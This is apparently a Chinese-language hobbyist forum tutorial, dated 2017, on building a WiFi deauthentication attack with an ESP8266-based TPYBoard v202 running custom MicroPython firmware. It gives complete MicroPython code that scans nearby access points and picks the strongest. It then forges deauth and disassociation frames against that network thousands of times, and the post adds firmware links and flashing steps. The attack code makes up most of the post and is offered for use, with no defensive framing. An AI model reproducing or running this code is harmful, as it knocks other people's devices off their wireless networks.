|
0x00前言
之前做的WIFI攻擊實(shí)驗(yàn)都是基于arduino環(huán)境開發(fā)的,最近想嘗試一下使用micropython完成deautch(解除認(rèn)證)攻擊。本次開發(fā)板使用的還是TPYBoardv202(某寶上有賣,30元),因?yàn)樗饕墓δ芫褪侵С謒icropython開發(fā)。
1.jpg (189.64 KB, 下載次數(shù): 67)
下載附件
2017-8-16 16:21 上傳
0x01實(shí)現(xiàn)原理
a) 通過查閱資料和arduino的源碼分析,了解到實(shí)現(xiàn)攻擊其實(shí)就是發(fā)送IEEE802.11協(xié)議解除認(rèn)證包,根據(jù)MAC層幀格式發(fā)送自定義的虛假deautch數(shù)據(jù)包。
b) 調(diào)用ESP8266SDK中wifi_send_pkt_freedom函數(shù),發(fā)送攻擊包。
0x02攻擊構(gòu)思
a) 程序一開始掃描附件的AP。
b) 找到信號最強(qiáng)的AP,獲取到他的MAC地址(bssid)和信道。
c) 將TPYBoardv202切換到同攻擊AP相同的信道。
d) 使用攻擊AP的MAC地址,組合deauth解除認(rèn)證包發(fā)送。
0x03編譯燒寫固件及程序源碼
1、 編譯固件
現(xiàn)有的micropython-esp8266固件中,并沒有引出wifi_send_pkt_freedom函數(shù),于是
我自己動手編譯了一次固件,地址:
https://github.com/PakchoiFood/micropython-deauth
大家可以自行下載燒寫使用,如果有的小伙伴想自己編譯修改固件的話,請參考:
https://github.com/micropython/micropython/tree/master/esp8266
需要注意:在編譯esp8266-sdk時,注意版本必須是1.3.0版本,否則wifi_send_pkt_freedom函數(shù)會一直返回-1失敗。
下載后解壓,文件如下:
2.png (17.65 KB, 下載次數(shù): 80)
下載附件
2017-8-16 16:21 上傳
firmware.bin文件:micropython-esp8266生成的固件。
增加的內(nèi)容:
setAttack函數(shù)
參數(shù):int類型(信道)
功能:設(shè)置esp8266的信道
send_pkt_freedom函數(shù)
參數(shù):bytes數(shù)組(定義的數(shù)據(jù)包)
flash_download_tools_v3.3.6_win.rar:燒寫固件的工具。
MicroPythonFileUploader.rar:用于將程序下載到TPYBoardv202Flash的工具。
main.py文件:程序源碼文件,主要實(shí)現(xiàn)附件AP的掃描、數(shù)據(jù)包的組合和調(diào)用發(fā)送。
- import time
- import uos
- import wireless
- sta_if=wireless.attack(0)#0:STA 模式
- sta_if.active(True)
- ap_list=sta_if.scan()
- print(ap_list)
- ssid=''
- bssid=''#bssid:AP MAC address
- channel=''#信道
- _client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默認(rèn)
- def deauth(_ap,_client,type,reason):
- # 0 - 1 type, subtype c0: deauth (a0: disassociate)
- # 2 - 3 duration (SDK takes care of that)
- # 4 - 9 reciever (target)
- # 10 - 15 source (ap)
- # 16 - 21 BSSID (ap)
- # 22 - 23 fragment & squence number
- # 24 - 25 reason code (1 = unspecified reason)
- packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00, 0x00,0x01, 0x00])
- for i in range(0,6):
- packet[4 + i] =_client[i]
- packet[10 + i] = packet[16 + i] =_ap[i]
- #set type
- packet[0] = type;
- packet[24] = reason
- result=sta_if.send_pkt_freedom(packet)
- if result==0:
- time.sleep_ms(1)
- return True
- else:
- return False
-
- if __name__=="__main__":
- max_rssid=0
- max_id=0
- num=0
- #獲取信號最強(qiáng)的AP 進(jìn)行攻擊
- for i in ap_list:
- if max_rssid==0:
- max_rssid=i[3]#rssid
- else:
- if i[3]>max_rssid:
- max_rssid=i[3]
- max_id=num
- num+=1
- ssid=ap_list[max_id][0]
- bssid=ap_list[max_id][1]
- channel=ap_list[max_id][2]
- print('ssid:',ssid,'-bssid:',bssid)
- print('-channel:',channel,'-rssid:',max_rssid)
- sendNum=5000#攻擊次數(shù)
-
- print('******************************')
- if sta_if.setAttack(channel):
- print('Set Attack OK')
- time.sleep_ms(100)
- print('---deauth runing-----')
- for i in range(0,sendNum):
- r_=deauth(bssid, _client, 0xC0, 0x01)
- if r_:
-
- deauth(bssid, _client, 0xA0, 0x01)
- deauth(_client, bssid, 0xC0, 0x01)
- deauth(_client, bssid, 0xA0, 0x01)
- time.sleep_ms(5)
- else:
- print('---deauth fail-------')
- time.sleep_ms(5000)
復(fù)制代碼
sniffer文件夾下的main.py實(shí)現(xiàn)網(wǎng)絡(luò)抓包功能。
- import wireless
- import time
- #可以指定信道1~13
- sniffer=wireless.sniffer(6)
- #0:表示從信道1開始 定時切換信道
- #sniffer=wireless.sniffer(0)
復(fù)制代碼
燒寫固件
1、 TPYBoardv202使用microUSB數(shù)據(jù)線接入電腦。查看安裝的usb轉(zhuǎn)串的端口。打開電腦的設(shè)備管理器(這里是COM57)。
3.png (15.46 KB, 下載次數(shù): 56)
下載附件
2017-8-16 16:22 上傳
2、 解壓flash_download_tools_v3.3.6_win.rar,雙擊運(yùn)行ESPFlashDownloadTool_v3.3.6.exe。
3、選擇firmware.bin固件文件,地址0x00000,其他參數(shù)根據(jù)下圖設(shè)置。我的COM選擇COM57,根據(jù)自己的實(shí)際端口選擇,波特率選擇115200。
4.png (72.53 KB, 下載次數(shù): 65)
下載附件
2017-8-16 16:22 上傳
4、點(diǎn)擊【START】,界面提示等待上電同步。按住板子上的FLASH鍵不松,同時按一下RST鍵復(fù)位上電。左側(cè)空白區(qū)顯示讀取的MAC地址,狀態(tài)顯示下載中,此時松開按鍵即可。
5.png (55.02 KB, 下載次數(shù): 80)
下載附件
2017-8-16 16:22 上傳
5、等待下載完畢,關(guān)閉軟件退出。
下載程序
6、解壓MicroPythonFileUploader.rar,雙擊運(yùn)行MicroPythonFileUploader.exe。
6.png (75.89 KB, 下載次數(shù): 67)
下載附件
2017-8-16 16:22 上傳
此軟件需要.NETFramework4.2及以上版本,若打開失敗,請安裝.NETFramework后再使用。
7、選擇COM57,點(diǎn)擊【Open】打開串口。
7.png (53.49 KB, 下載次數(shù): 64)
下載附件
2017-8-16 16:22 上傳
8、點(diǎn)擊右側(cè)的文件夾圖標(biāo)的按鈕,選擇main.py文件。
8.png (49.48 KB, 下載次數(shù): 71)
下載附件
2017-8-16 16:22 上傳
9、此時可以點(diǎn)擊【Send】,將程序發(fā)送給TPYBoardv202。發(fā)送成功后,程序自動運(yùn)行。
9.png (88.63 KB, 下載次數(shù): 93)
下載附件
2017-8-16 16:23 上傳
10、接下來將sniffer下的main.py同樣的是方式下載到板子里。(文件會覆蓋)
打開串口助手,就可以看到esp8266抓包的數(shù)據(jù)。
10.png (97.95 KB, 下載次數(shù): 70)
下載附件
2017-8-16 16:23 上傳
|
|